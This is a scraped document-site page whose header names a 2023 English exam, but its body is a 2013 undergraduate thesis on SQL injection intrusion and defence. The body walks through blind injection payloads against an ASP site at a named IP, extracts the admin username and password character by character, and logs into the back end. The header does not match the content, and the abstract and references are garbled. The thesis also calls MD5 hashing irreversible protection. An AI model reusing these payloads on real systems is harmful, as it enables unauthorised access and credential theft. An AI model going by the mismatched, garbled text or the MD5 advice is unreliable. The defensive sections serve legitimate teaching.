2023年全國(guó)碩士研究生考試考研英語(yǔ)一試題真題(含答案詳解+作文范文)_第1頁(yè)
已閱讀1頁(yè),還剩21頁(yè)未讀 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、<p><b>  湖 北 大 學(xué)</b></p><p>  本 科 畢 業(yè) 論 文 (設(shè) 計(jì))</p><p>  題 目 基于web服務(wù)器SQL漏洞入侵與防護(hù) </p><p>  姓 名 </p><p>  學(xué) 號(hào)

2、 </p><p>  專業(yè)年級(jí) </p><p>  指導(dǎo)教師 </p><p>  職 稱 </p><p>  2013年 04 月 20 日</p>&l

3、t;p><b>  目錄</b></p><p>  1緒論錯(cuò)誤!未定義書簽。</p><p>  1.1研究背景錯(cuò)誤!未定義書簽。</p><p>  1.2研究現(xiàn)狀和意義錯(cuò)誤!未定義書簽。</p><p>  2web服務(wù)器SQL漏洞入侵錯(cuò)誤!未定義書簽。</p><p>

4、;  2.1方法簡(jiǎn)單介紹錯(cuò)誤!未定義書簽。</p><p>  2.2 搜尋網(wǎng)站SQL注入點(diǎn)........................................3</p><p>  2.3 驗(yàn)證漏洞后通過(guò)SQL入侵得到用戶名和密碼5</p><p>  2.4 開始破解5</p><p>  2.4

5、.1 破解表名5</p><p>  2.4.2 破解列名6</p><p>  2.4.3 破解列名的長(zhǎng)度username錯(cuò)誤!未定義書簽。</p><p>  2.4.4 破解username的內(nèi)容8</p><p>  2.4.5 用所得到的用戶名和密碼登陸10</p><p>  3 web服務(wù)器

6、SQL漏洞防護(hù)11</p><p>  3.1簡(jiǎn)單介紹11</p><p>  3.2對(duì)用戶輸入的數(shù)據(jù)進(jìn)行過(guò)濾11</p><p>  3.2.1 基礎(chǔ)過(guò)濾與二次過(guò)濾11</p><p>  3.2.2 使用SQL通用防注入程序進(jìn)行過(guò)濾11</p><p>  3.3 設(shè)置錯(cuò)誤提示信息12</p>

7、;<p>  3.4 使用專業(yè)的漏洞掃描工具14</p><p>  3.5 對(duì)重要數(shù)據(jù)進(jìn)行加密14</p><p><b>  4結(jié)論15</b></p><p><b>  參考文獻(xiàn)16</b></p><p>  基于web服務(wù)器SQL漏洞入侵與防護(hù)</p>

8、<p><b>  摘 要</b></p><p>  由于互聯(lián)網(wǎng)的普遍應(yīng)用,Web應(yīng)用平臺(tái)早已漸漸發(fā)展成為互聯(lián)網(wǎng)信息交互的中心,但是跟隨而來(lái)的是Web應(yīng)用遭遇到日漸嚴(yán)重的安全威脅問(wèn)題,怎樣確保Web應(yīng)用安全,現(xiàn)已變成一個(gè)及其重要的探索課題。根據(jù)Web應(yīng)用的入侵與傳統(tǒng)web入侵比較,具有很多新特點(diǎn),比如利用常見(jiàn)的H1]印協(xié)議攜帶惡意數(shù)據(jù),使得傳統(tǒng)的web層防火墻和入侵檢測(cè)系統(tǒng)根本

9、不能辨別,所以得從應(yīng)用層的角度出發(fā)進(jìn)行安全防護(hù)。</p><p>  本文首先探索了Web應(yīng)用安全產(chǎn)生的原因和其目前面對(duì)的重要安全威脅,進(jìn)而根據(jù)Web應(yīng)用平臺(tái)提出了一個(gè)安全解決方案。進(jìn)而更加深入的研究了SQL注入攻擊這種影響非常嚴(yán)重的Web應(yīng)用入侵以及防護(hù)技術(shù),并且在純理論研究的根基上對(duì)提出的安全防護(hù)機(jī)制進(jìn)行了設(shè)計(jì)與實(shí)現(xiàn)。</p><p>  對(duì)于SQL注入攻擊,本文探討了它的入侵行為以及

10、語(yǔ)句特點(diǎn),采用正則表達(dá)式對(duì)入侵特點(diǎn)進(jìn)行了很完整的解釋;而在研究SQL注入防護(hù)技術(shù)的基礎(chǔ)上,本文主要在服務(wù)端過(guò)濾技術(shù)設(shè)計(jì)的基礎(chǔ)上解決了Web服務(wù)端SQL注入攻擊過(guò)濾器。此過(guò)濾器在HTTP請(qǐng)求提交Web服務(wù)器系統(tǒng)模塊處理前,解析請(qǐng)求數(shù)據(jù),及時(shí)攔截攻擊入侵行為而且加以警告;根據(jù)采用基于攻擊特征的正則表達(dá)式描述解釋過(guò)濾規(guī)則,減小了過(guò)濾機(jī)制的誤報(bào)率和漏報(bào)率;而且在此期間結(jié)合IP訪問(wèn)限制功能,可以防止入侵者進(jìn)行窮舉式SQL注入攻擊。</p&g

11、t;<p>  之后的測(cè)試結(jié)果說(shuō)明,本文設(shè)計(jì)實(shí)現(xiàn)的攻擊防御機(jī)制可以很好的防止SQL注入,而且對(duì)服務(wù)器響應(yīng)延遲和負(fù)載影響很小。</p><p>  關(guān)鍵詞 Web應(yīng)用安全, SQL注入入侵 ,SQL防護(hù)</p><p>  Based on the web server SQL exploits and protection</p><p><b

12、>  Abstract </b></p><p>  With the widely spread of the Internet, web application platform has become the communication center of the Internet.But at the same time,the threats to the web application

13、 are very serious.How to protect web applications’security is very important.The attacks to the web application,comparing with traditional network attacks,have many new features,such as using HTTP protocol to carry malic

14、ious data,which can not be detected by the firewall and intrusion detection system.So we must defense the at</p><p>  In this paper we study the origin and common threat of web application security firstly.T

15、hen we research and implement a protect module to protect web sites from SQL injection.</p><p>  To defend SQL injection,we analyze the characteristic of SQL injection and construct the regular expression fo

16、r these attacks.Then we design a SQL injection attack filter module inside web server, which is based on the filter rules using regular expression.This module can defend common SQL injections,which detects the attacks be

17、fore the HTTP requests handled by the system modules.With the IP limit mechanism,this module can protect web server from exhaustive attacks launched by hackers.</p><p>  The test results show that the module

18、s can prevent SQL injection effectively, with very little influence to the web application platform.</p><p>  【Key words】:web application security, defense technology, SQL injection</p><p><b

19、>  1.緒論</b></p><p><b>  1.1研究背景</b></p><p>  由于信息化建設(shè)的逐漸普及,企事業(yè)單位,不管是建設(shè)其自用的業(yè)務(wù)應(yīng)用系統(tǒng),還是構(gòu)建僅對(duì)外信息的發(fā)布平臺(tái),都不能沒(méi)有Web應(yīng)用技術(shù)。Web應(yīng)用技術(shù)不單單給user供應(yīng)一個(gè)簡(jiǎn)便的交互平臺(tái),而且同時(shí)給信息server供應(yīng)了一種搭建信息system的標(biāo)準(zhǔn)技術(shù)。但是隨著

20、Web應(yīng)用平臺(tái)應(yīng)用日漸廣泛,對(duì)于Web應(yīng)用程序的入侵也多了起來(lái),web應(yīng)用安全正遭遇越來(lái)越嚴(yán)重的威脅和挑戰(zhàn)</p><p>  美國(guó)web安全server的CENZIC的分析報(bào)告表明,2008年web攻擊入侵事件有80%是對(duì)Web應(yīng)用平臺(tái)進(jìn)行的,之后到2009年,這一入侵比例上升到了82%。另外根據(jù)CNCERT/CC研究表明,2006年至2007年,中國(guó)內(nèi)陸web惡意掛馬事件增長(zhǎng)了2.6倍,而被更改web數(shù)量增長(zhǎng)

21、了1.5倍,2009年國(guó)內(nèi)被更改web數(shù)量已經(jīng)達(dá)到4.2萬(wàn)個(gè),這種惡意攻擊入侵嚴(yán)重地影響了Web應(yīng)用平臺(tái)的日常運(yùn)作。</p><p>  現(xiàn)在對(duì)于Web應(yīng)用層的入侵已經(jīng)多達(dá)到上千上萬(wàn)種,其中最常見(jiàn)的攻擊入侵有:以SQL注入攻擊為代表的各種注入攻擊入侵、非法篡改網(wǎng)站頁(yè)面、網(wǎng)頁(yè)惡意掛馬等等。各種web入侵采用的漏洞攻擊入侵方法不完全相同,甚至同樣的攻擊都可以運(yùn)用各種各樣的手段,從而達(dá)到入侵者最終的目的。</p&

22、gt;<p>  以SQL注入攻擊為例,如果web應(yīng)用producer寫的代碼根本未對(duì)user輸入數(shù)據(jù)的合法性進(jìn)行判斷,入侵者就可以編造惡意SQL語(yǔ)句,以便得到一些重要的數(shù)據(jù),更有甚者,可以得到server最高執(zhí)行權(quán)限。與此同時(shí),SQL注入攻擊入侵可以采用HTTP協(xié)議中的GET方法、POST方法以及Cookie數(shù)據(jù)等多種途徑發(fā)起,入侵者就可以不間斷的整合入侵參數(shù)來(lái)達(dá)到最終目的。</p><p>  

23、圖1.1描述了目前較為典型的一種Web應(yīng)用平臺(tái)架構(gòu),客戶端(一般稱為Web瀏覽器)向Web服務(wù)器send請(qǐng)求,Web服務(wù)器將請(qǐng)求再轉(zhuǎn)發(fā)到應(yīng)用邏輯服務(wù)器或者Web應(yīng)用程序處理,其中估計(jì)會(huì)涉及到與數(shù)據(jù)庫(kù)服務(wù)器的交互。Web應(yīng)用程序完成邏輯數(shù)據(jù)后,將響應(yīng)內(nèi)容返回給客戶端。為確保Web應(yīng)用平臺(tái)的安全,許多公司都在web邊界上設(shè)置了防火墻或入侵檢測(cè)系統(tǒng)。但是防火墻和入侵檢測(cè)系統(tǒng)僅僅只阻攔對(duì)網(wǎng)絡(luò)層的入侵,而當(dāng)入侵者采用Web應(yīng)用程序漏洞進(jìn)行針對(duì)性入

24、侵時(shí)候,防火墻和入侵檢測(cè)系統(tǒng)就沒(méi)辦法了。網(wǎng)絡(luò)防火墻可以面對(duì)端口實(shí)行訪問(wèn)控制功能,然而防火墻必須能夠讓HTTP和HTTPS協(xié)議數(shù)據(jù)通過(guò),來(lái)確保能夠?qū)ν庹5墓?yīng)Web服務(wù)。假設(shè)入侵代碼被移植到HTTP通信數(shù)據(jù)中,這樣防火墻就不能辨別這樣的通信數(shù)據(jù)合法性,反而不能防護(hù)這種入侵。比如,SQL注入攻擊就是利用合法的HTTP通信數(shù)據(jù),它在HTTP請(qǐng)求實(shí)體中植入惡意SQL查詢代碼,而安全地通過(guò)web防火墻,來(lái)達(dá)到攻擊內(nèi)網(wǎng)數(shù)據(jù)庫(kù)的目的。入侵檢測(cè)系統(tǒng)也

25、工作在網(wǎng)絡(luò)層上,也依據(jù)特殊方法檢查攻擊行為,然而入侵檢測(cè)系統(tǒng)對(duì)應(yīng)用層數(shù)據(jù)的析構(gòu)能力也有限。</p><p>  綜上可以看出,傳統(tǒng)網(wǎng)絡(luò)層的安全防護(hù)系統(tǒng)不能夠很好的應(yīng)對(duì)應(yīng)用層協(xié)議數(shù)據(jù),更加不能夠根據(jù)Web應(yīng)用程序深層次解析請(qǐng)求內(nèi)容,從而不能夠防御對(duì)于Web應(yīng)用程序的入侵。對(duì)其根本講,以應(yīng)用層為基礎(chǔ)的入侵本源上是由Web應(yīng)用程序漏洞引起的,而Web應(yīng)用程序producer的技術(shù)上或者經(jīng)驗(yàn)上的緣由,未能有效應(yīng)對(duì)各種We

26、b應(yīng)用安全問(wèn)題,最后產(chǎn)生了Web應(yīng)用層漏洞。但是實(shí)際情況下,讓所有的producer在編寫Web應(yīng)用程序時(shí)都注意防御這些漏洞不是很現(xiàn)實(shí),并且Web應(yīng)用攻擊入侵方式的不間斷的更新也讓只依據(jù)應(yīng)用程序本身不能有效的防御各種各樣的攻擊。因此,研究專門的Web安全防護(hù)策略來(lái)確保Web應(yīng)用平臺(tái)的安全。</p><p>  1.2研究現(xiàn)狀和意義</p><p>  當(dāng)前防御采用HTTP協(xié)議進(jìn)行的Web應(yīng)

27、用攻擊入侵,主要利用的技術(shù)是對(duì)Web服務(wù)器的功能做延展,在Web服務(wù)器軟件中加入安全防護(hù)板塊,就能夠在HTTP請(qǐng)求數(shù)據(jù)被Web服務(wù)器系統(tǒng)模塊處理之前進(jìn)行安全檢查,區(qū)別通常的user訪問(wèn)和入侵者的非法數(shù)據(jù),這種技術(shù)稱為“Web服務(wù)器擴(kuò)展技術(shù)”或者“Web服務(wù)器模塊開發(fā)技術(shù)”,它可以及時(shí)有效的防護(hù)例如SQL注入攻擊等利用正常HTTP通信數(shù)據(jù)的入侵。但是僅僅利用Web服務(wù)器延展技術(shù)不可以防護(hù)所有類型的入侵,各種各樣的入侵原理及模式的不同決定了

28、相對(duì)應(yīng)的防御技術(shù)也必然會(huì)有所不同。</p><p>  比如,防護(hù)SQL注入攻擊的重點(diǎn)是可以辨別出HTTP請(qǐng)求中的注入字符串。對(duì)于SQL注入攻擊的防御技術(shù),有靜態(tài)檢查、服務(wù)端過(guò)濾、SQL參數(shù)化查詢等。而且,華中科技大學(xué)周敬利提出了SQL語(yǔ)法預(yù)分析技術(shù),它是一種較新的SQL注入防御技術(shù),利用user提供的表單數(shù)據(jù)和上下文環(huán)境組建出一條SQL語(yǔ)句,并且對(duì)該SQL語(yǔ)句的框架特點(diǎn)進(jìn)行析構(gòu)從而辨別攻擊入侵行為。這種技術(shù)在原

29、先產(chǎn)生的字符串過(guò)濾技術(shù)的根基上進(jìn)行更進(jìn),給SQL注入防護(hù)技術(shù)提交了一種新的思維。</p><p>  Web應(yīng)用安全的威脅日漸嚴(yán)重,逐漸增多的的國(guó)內(nèi)外公司和科研機(jī)構(gòu)開始進(jìn)行到Web應(yīng)用安全防護(hù)技術(shù)的研究,從而Web應(yīng)用安全防護(hù)技術(shù)逐漸取得進(jìn)步,多種多樣的研究成果逐漸出現(xiàn)。全世界關(guān)于Web應(yīng)用安全的代表產(chǎn)品主要有:國(guó)內(nèi)中創(chuàng)軟件商用中間件股份有限公司以國(guó)家863技術(shù)成果為基礎(chǔ)研發(fā)的InfoGuard網(wǎng)頁(yè)防篡改中間件,

30、以及上海天存信息技術(shù)有限公司采用Web服務(wù)器擴(kuò)展技術(shù)研發(fā)的iWall應(yīng)用層防火墻;國(guó)外IBM公司開發(fā)的應(yīng)用層安全漏洞掃描系統(tǒng)的Rational web application security solutions等。但是,一些商業(yè)原因使這些公司的技術(shù)并沒(méi)有公布,僅僅在基本防御策略上有一點(diǎn)理解;另外,對(duì)于Web應(yīng)用的攻擊方式和手段也不斷改進(jìn)和演化,促使我們需要不斷研究新的防護(hù)技術(shù)與策略。</p><p>  總而言

31、之,隨著動(dòng)態(tài)解析模式的Web應(yīng)用程序的產(chǎn)生,Web應(yīng)用平臺(tái)遭遇著由Web應(yīng)用程序漏洞所引發(fā)的安全威脅。怎樣有效的應(yīng)對(duì)這些安全問(wèn)題,以應(yīng)用層的角度來(lái)防護(hù)Web應(yīng)用平臺(tái)的安全,已成一項(xiàng)重要的研究課題。研究Web應(yīng)用安全防御技術(shù),對(duì)于保障Web應(yīng)用平臺(tái)的安全運(yùn)行,以及保障Web應(yīng)用訪問(wèn)客戶的隱私和安全都有著重要意義。</p><p>  2.web服務(wù)器SQL漏洞入侵</p><p><b

32、>  2.1簡(jiǎn)單介紹</b></p><p>  本文的攻擊方法成為SQL注入,由于本人初次學(xué)習(xí),所以本實(shí)驗(yàn)的攻擊方法為手動(dòng)輸入SQL攻擊asp網(wǎng)站。獲得網(wǎng)站的登錄權(quán)限。攻擊網(wǎng)站首頁(yè)如下</p><p>  2.2搜尋網(wǎng)站SQL注入點(diǎn)</p><p>  嘗試幾個(gè)有傳入?yún)?shù)的頁(yè)面,逐個(gè)測(cè)試是否有SQL注入漏洞,識(shí)別方法為:把網(wǎng)址欄的ID=***x加

33、個(gè)號(hào),或在表單輸入號(hào),如果提示表達(dá)式錯(cuò)誤,表示有漏洞可注入,另外,通過(guò)這個(gè)方式可以得到程序所用的數(shù)據(jù)庫(kù)類型。</p><p>  點(diǎn)擊北京鏈接會(huì)發(fā)現(xiàn)地址欄中出現(xiàn)了變量,直接在后面加入“’”返回錯(cuò)誤,初步判斷有注入漏洞。</p><p>  進(jìn)行驗(yàn)證是否存在SQL注入漏洞,驗(yàn)證方法如下:</p><p>  在這里我們可以看到幾條信息,第一錯(cuò)誤信息上位JET 

34、;database基本可以肯定為access數(shù)據(jù)庫(kù)。第二出現(xiàn)字符串語(yǔ)法錯(cuò)誤有可能存在注入漏洞。第三我們提交的字符串被單引號(hào)包含著說(shuō)明是字符型。接下來(lái)利用字符型判斷語(yǔ)句“' and '1'='1”和“'and '1'='2”測(cè)試。會(huì)發(fā)現(xiàn)“' and '1'='1”返回正確而“' 

35、;and '1'='2”返回錯(cuò)誤肯定存在注入漏洞。</p><p>  2.3驗(yàn)證漏洞后通過(guò)SQL入侵得到用戶名和密碼</p><p>  此處我們破解的流程如下:判斷數(shù)據(jù)庫(kù)表名—> 判斷數(shù)據(jù)庫(kù)列名—>判斷列名字段個(gè)數(shù)—>字段猜解</p><p>  下面沾出實(shí)驗(yàn)的五個(gè)語(yǔ)句,然后慢慢帶著大家破解</

36、p><p>  測(cè)試數(shù)據(jù)庫(kù)中字段長(zhǎng)度</p><p>  http://202.114.145.8/index.asp?city=bj'and (select top 1 len(tel)from info)>10and'1'='1</p><p><b>  猜測(cè)數(shù)據(jù)庫(kù)中表</b></p>&l

37、t;p>  ' and exists (select * from admin) and '1'='1</p><p>  猜測(cè)數(shù)據(jù)庫(kù)中字段子列</p><p>  ' and exists (select admin

38、0;from info) and '1'='1</p><p>  利用二分法猜測(cè)數(shù)據(jù)庫(kù)中的信息條數(shù)</p><p>  ' and (select Count(1) from [info] where 1=1) between 0

39、0;and 100 and '1'='1</p><p>  猜測(cè)數(shù)據(jù)庫(kù)中值得代碼</p><p>  http://202.114.145.8/index.asp?city=bj'and (select top 1 asc(mid(city,1,1))from info)>97and'1'='1&

40、lt;/p><p><b>  2.4開始破解</b></p><p><b>  2.4.1破解表名</b></p><p>  在地址欄后加上' and exists (select * from 表名) and '1'

41、='1</p><p>  當(dāng)常用表名輸入info時(shí)系統(tǒng)返回正常圖面如下</p><p>  我們?cè)匐S意輸入一個(gè)表名“' and exists (select * from admin) and '1'='1”發(fā)現(xiàn)返回錯(cuò)誤并且錯(cuò)誤寫著找不到輸入表admin,這就說(shuō)明不存在

42、admin表但是存在info表。</p><p><b>  2.4.2破解列名</b></p><p>  首先經(jīng)過(guò)對(duì)表名的破解大家已經(jīng)有了基礎(chǔ),還是破解列名的方法也是一樣的如下</p><p><b>  猜測(cè)列名語(yǔ)句</b></p><p>  猜測(cè)數(shù)據(jù)庫(kù)中字段子列</p>&l

43、t;p>  ' and exists (select 列名 from info) and '1'='1</p><p>  將列名換成username反饋正常判斷有username</p><p>  接下來(lái)我們將列名換成admin發(fā)現(xiàn)反饋錯(cuò)從而判斷有username<

44、;/p><p>  按照同樣的方法我們現(xiàn)在可以猜出有列名password</p><p>  總結(jié)下,現(xiàn)在我們已經(jīng)破解出來(lái)了表,info,列名username,列名password</p><p>  2.4.3破解列名的長(zhǎng)度username</p><p>  破解語(yǔ)句如下測(cè)試數(shù)據(jù)庫(kù)中字段長(zhǎng)度</p><p>  htt

45、p://202.114.145.8/index.asp?city=bj'and (select top 1 len(字段名)from info)>數(shù)字Nand'1'='1</p><p>  如上我們將字段名換成username數(shù)字N換成1.2.3.4.直到顯示錯(cuò)誤判斷字段的長(zhǎng)度</p><p>  如下圖當(dāng)N=4時(shí)反饋正常,當(dāng)N=5時(shí)反饋不正常,從而

46、判斷n=5所以u(píng)sername字段長(zhǎng)度為5</p><p><b>  N=4反饋正常</b></p><p>  如下N=5反饋不正常</p><p>  總結(jié)下,現(xiàn)在我們已經(jīng)破解出來(lái)了表,info,列名username,列名password</p><p>  列名username長(zhǎng)度5列名password長(zhǎng)度2&l

47、t;/p><p>  2.4.4破解username的內(nèi)容</p><p>  猜測(cè)數(shù)據(jù)庫(kù)中值得代碼</p><p>  http://202.114.145.8/index.asp?city=bj'and (select top 1 asc(mid(列名,N,1))from info)>mand'1'='1</p>

48、<p>  如上述語(yǔ)句列名我們填寫username,N分別寫上1.2.3.4.5表示列名的位數(shù),M表示列名位數(shù)N的asc的值, M為65-122. 如上述語(yǔ)句中主要的函數(shù)就是asc(mid(列名,N,1)反饋asc數(shù)值,理論不如行動(dòng)</p><p>  如上列名username,N=1,m=103,m=104反饋正常和不正常截圖如下</p><p><b

49、>  M=103</b></p><p><b>  M=104</b></p><p><b>  有上述可以知道</b></p><p>  asc(mid(username,1,1))=104同理</p><p>  asc(mid(username,2,1))=117<

50、;/p><p>  asc(mid(username,3,1))=97</p><p>  asc(mid(username,4,1))=110</p><p>  asc(mid(username,5,1))=103</p><p>  由asc表可以得知char(104)=h,char(117)=u,char(97)=a,char(110)=

51、n,char(103)=g</p><p>  綜合上述分析我們得到用戶名username:huang</p><p>  同理我們得到密碼 password;fu</p><p>  2.4.5用所得到的用戶名和密碼登陸</p><p>  用破解的用戶名和密碼登陸截圖</p><p><b&

52、gt;  登陸結(jié)果截圖如下</b></p><p>  到此為止成功入侵網(wǎng)站后臺(tái)</p><p>  3.web服務(wù)器SQL漏洞防護(hù)</p><p><b>  3.1簡(jiǎn)單介紹</b></p><p>  SQL注入攻擊的危害性比較大,現(xiàn)在已經(jīng)嚴(yán)重影響到程序的安全,所以必須從網(wǎng)站設(shè)計(jì)開始來(lái)防御SQL注入漏洞的

53、存在。在防御SQL注入攻擊時(shí),程序員必須要注意可能出現(xiàn)安全漏洞的地方,其關(guān)鍵所在就是用戶數(shù)據(jù)輸入處。</p><p>  3.2 對(duì)用戶輸入的數(shù)據(jù)進(jìn)行過(guò)濾</p><p>  目前引起SQL注入的原因是程序員在編寫網(wǎng)站程序時(shí)對(duì)特殊字符不完全過(guò)濾。造成這樣的現(xiàn)象還是因?yàn)槌绦騿T對(duì)腳本安全沒(méi)有足夠的意識(shí),或者考慮不周引起的。常見(jiàn)的過(guò)濾方法有基礎(chǔ)過(guò)濾,二次過(guò)濾以及SQL通用防注入程序等多種方式&l

54、t;/p><p>  3.2.1 基礎(chǔ)過(guò)濾與二次過(guò)濾</p><p>  在SQL注入入侵前,需要在可修改參數(shù)中提交“·”,“and”等特殊字符來(lái)判斷是否存在SQL注入漏洞;而在進(jìn)行SQL注入攻擊時(shí),需要提交包含“;”,“--” </p><p>  “update”,“select”等特殊字符的SQL注入語(yǔ)句。所以要防范SQL注入,則需要在用戶輸入或提交

55、變量時(shí),對(duì)單引號(hào),雙引號(hào),分號(hào),逗號(hào),冒號(hào)等特殊字符進(jìn)行轉(zhuǎn)換或過(guò)濾,以很大程度減少SQL注入漏洞存在的可能性。</p><p>  下面是一個(gè)ID變量的過(guò)濾性語(yǔ)句:</p><p>  If instr(request("id"),",")>0 or instr(request("id"),"insert")>or instr(request("id"),";")&

56、gt;0 then response.write"</p><p>  <SCRIPT language=javascript></p><p>  Javascript:history.go(-1);</p><p><b>  </SCRIPT></b></p><p>  Response.

57、end</p><p><b>  end if</b></p><p>  使用上述代碼可以過(guò)濾ID參數(shù)中的“;”,“,”和“insert”字符。如果在ID參數(shù)中包含有這幾個(gè)字符,則會(huì)返回錯(cuò)誤頁(yè)面。但危險(xiǎn)字符遠(yuǎn)不止這幾個(gè),要過(guò)濾其他字符,只需將危害字符采加入上面的代碼即可。一般情況下,在獲得用戶提交的參數(shù)時(shí),首先要進(jìn)行一些基礎(chǔ)性的過(guò)濾,然后再根據(jù)程序相應(yīng)的功能以及用

58、戶輸入進(jìn)行二次過(guò)濾。</p><p>  3.2.2使用SQL通用防注入程序進(jìn)行過(guò)濾</p><p>  通過(guò)手工的方法對(duì)特殊字符進(jìn)行過(guò)濾難免會(huì)留下過(guò)濾不嚴(yán)的漏洞。而使用“SQL通用防注入程序”可以全面地對(duì)程序進(jìn)行過(guò)濾,從而很好的阻止SQL腳本注入漏洞的產(chǎn)生。</p><p>  將從網(wǎng)上下載的“SQL通用防注入程序V3.0”存放在自己網(wǎng)站所在的文件夾中,需要進(jìn)行簡(jiǎn)

59、單設(shè)置就可以輕松幫助程序員防御SQL注入,這是一種簡(jiǎn)單的過(guò)濾方法。該程序全面處理通過(guò)POST和GET兩種方式提交的SQL注入,并且自定義需要過(guò)濾的字符串。當(dāng)黑客提交SQL注入危險(xiǎn)信息時(shí),它就會(huì)自動(dòng)記錄黑客的IP地址,提交數(shù)據(jù),非法操作等信息。</p><p>  除對(duì)用戶提交的參數(shù)和變量進(jìn)行過(guò)濾外,也可以直接限制用戶可輸入的參數(shù),因?yàn)橹辉试S提交有限的字符遠(yuǎn)比過(guò)濾特定的字符更為安全。</p><

60、p>  3.3設(shè)置錯(cuò)誤提示信息</p><p>  SQL注入主要依據(jù)是IIS給出的ASP錯(cuò)誤信息,所以配置IIS和數(shù)據(jù)庫(kù)用戶權(quán)限,可以阻止SQL注入攻擊。具體的操作步驟如下:</p><p>  在“管理工具”窗口雙擊“Internet信息服務(wù)”圖標(biāo),即可打開“Internet信息服務(wù)”窗口,如圖</p><p>  依次打開“本地計(jì)算機(jī)”—“網(wǎng)址”分,右擊

61、其中的“默認(rèn)網(wǎng)站”圖標(biāo),在快捷菜單中選擇“屬性”選項(xiàng),即可打開“默認(rèn)網(wǎng)站屬性”對(duì)話框,如圖</p><p>  切換到“自定義錯(cuò)誤”選項(xiàng)卡,在“HTTP錯(cuò)誤”列表中選擇“500:100”選項(xiàng),如圖所示。</p><p>  單擊“編輯屬性”按鈕,即可打開“錯(cuò)誤映射屬性”對(duì)話框,在“消息類型”下拉列表中選擇“默認(rèn)值”選項(xiàng),如圖所示,單擊“確定”按鈕,即可完成對(duì)錯(cuò)誤提示信息的設(shè)置。</p

62、><p>  3.4使用專業(yè)的漏洞掃描工具</p><p>  企業(yè)應(yīng)當(dāng)投資于一些專業(yè)漏洞的掃描工具,如Acunetix的web漏洞掃描程序等。一個(gè)完善的漏洞掃描程序可以查找網(wǎng)站上的SQL注入式漏洞;而程序員應(yīng)當(dāng)使用漏洞掃描工具和站點(diǎn)監(jiān)視工具對(duì)網(wǎng)站進(jìn)行測(cè)試。</p><p>  3.5對(duì)重要數(shù)據(jù)進(jìn)行加密</p><p>  采用加密技術(shù)對(duì)一些重要

63、的數(shù)據(jù)進(jìn)行加密,比如用MD5加密,MD5沒(méi)有反向算法,也不能解密,就可以防范對(duì)網(wǎng)站的危害了。</p><p><b>  4.結(jié)論</b></p><p>  在本論文中,主要涉及到一種基于WEB服務(wù)器SQL漏洞入侵以及防護(hù)。SQL(Structured Query Language,結(jié)構(gòu)化查詢語(yǔ)言)是專為數(shù)據(jù)庫(kù)設(shè)計(jì)的解釋型語(yǔ)言,可用于讀取、更新、增加或者刪除數(shù)據(jù)庫(kù)中

64、保存的信息。在Web應(yīng)用程序中,SQL語(yǔ)言解釋器處理的數(shù)據(jù)實(shí)際上是由程序員編寫的代碼和用戶提交的數(shù)據(jù)共同組成的,入侵者可以提交設(shè)計(jì)的輸入向應(yīng)用程序發(fā)起攻擊入侵,而這些輸入一般對(duì)于應(yīng)用程序來(lái)說(shuō),有特殊意味的SQL語(yǔ)句。如果Web應(yīng)用程序之中有漏洞,也就是說(shuō)producer寫的代碼未對(duì)數(shù)據(jù)庫(kù)做相關(guān)的user輸入合法性檢測(cè),那應(yīng)用程序就會(huì)依照入侵者的意圖執(zhí)行。從而,入侵者能夠采用這種漏洞入侵目標(biāo)Web應(yīng)用程序的數(shù)據(jù)庫(kù)組件,進(jìn)行注入惡意SQL語(yǔ)

65、句,再竊取數(shù)據(jù)庫(kù)中的重要信息甚至獲取對(duì)數(shù)據(jù)庫(kù)服務(wù)器的完全控制。在針對(duì)前人在實(shí)驗(yàn)室做的一個(gè)web,我開始進(jìn)行SQL注入攻擊,剛開始不得其要,始終攻入不了,在別人的幫助下,進(jìn)行一些SQL語(yǔ)句的改變,進(jìn)而徹底攻入實(shí)驗(yàn)室的網(wǎng)站。而在防御SQL注入攻擊時(shí),我查看了學(xué)校圖書館的相關(guān)書籍,對(duì)網(wǎng)站進(jìn)行了一些防護(hù),把漏洞給補(bǔ)上來(lái)了。因此要防護(hù)SQL注入攻擊,程序員必</p><p><b>  參考文獻(xiàn)</b>

66、;</p><p>  1.陳鳴.網(wǎng)絡(luò)工程設(shè)計(jì)教程:系統(tǒng)集成方法fMl.北京:機(jī)械工業(yè)出版社,2008.</p><p>  2.馮吳,黃治虎.交換機(jī)/路由器的配置與管理【M】一E京:清華大學(xué)出版社,2009.</p><p>  3.張興華,張曉.計(jì)算機(jī)網(wǎng)絡(luò)工程實(shí)踐教程[m1.北京:北京大學(xué)出版社,2010.</p><p>  4.徐乇國(guó)

67、,韓兆君.Web應(yīng)用程序中的數(shù)據(jù)庫(kù)安全策略[J1.電腦知識(shí)與技術(shù),2007(1):23.</p><p>  5.寂寞的刺猬.上傳漏澗的形成【J1.黑客防線,2006(4):19-22.</p><p>  6.王繼龍.常見(jiàn)Web應(yīng)用安全漏洞及應(yīng)對(duì)策略【J1.中國(guó)教育網(wǎng)絡(luò),2007(8):75-75.</p><p>  7.周敬利,王曉鋒,余勝生,夏洪濤.一種新的

68、反SQL注入策略的研究與實(shí)現(xiàn)【J】.計(jì)算機(jī)科學(xué),2006,33(1 1):64—68.</p><p>  8.上海天存信息技術(shù)有限公司.W,eb應(yīng)用安全[EB/OL].http://www.tcxa.com.cIl/iw甜Uapp—SCC.h仃n1.</p><p>  9.趙靜.使用Rational AppScan保證Web應(yīng)用的安全性,第l部分:Web安全與Rational AppS

69、can入f-j【EB/OL].http://www.ibm.corn/developerworks/cnrationalr-en-appscanl,2007.</p><p>  10.孫昕.使用Rational AppScan保證Web應(yīng)用的安全性,第2部分:使用Ratio.nal AppScan應(yīng)對(duì)W曲應(yīng)用攻擊[EB/OL].http://www.ibm.com/developerworks/cn/ratio

70、nal/r-cn-appscan2,2007.</p><p>  11.周敬利,王曉鋒,余勝生,夏洪濤.一種新的反SQL注入策略的研究與實(shí)現(xiàn)</p><p>  【J】.計(jì)算機(jī)科學(xué),2006,33(1 1):64—68.</p><p><b>  致 謝</b></p><p>  冰凍三尺,非一日之寒。經(jīng)過(guò)近半年來(lái)

